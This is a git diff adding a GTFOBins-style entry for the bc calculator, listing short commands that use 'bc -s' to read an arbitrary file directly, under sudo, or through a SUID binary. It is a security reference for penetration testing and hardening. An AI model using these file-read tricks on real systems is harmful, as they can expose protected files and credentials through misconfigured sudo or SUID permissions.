diff --git a/_gtfobins/bc.md b/_gtfobins/bc.md new file mode 100644 index 0000000..a2f8962 --- /dev/null +++ b/_gtfobins/bc.md @@ -0,0 +1,20 @@ +--- + +description: The file content is actually parsed and appears as error messages, thus it might not be suitable to read arbitray binary files. +functions: + file-read: + - code: | + LFILE=file_to_read + bc -s $LFILE + quit + sudo: + - code: | + LFILE=file_to_read + sudo bc -s $LFILE + quit + suid: + - code: | + LFILE=file_to_read + ./bc -s $LFILE + quit +---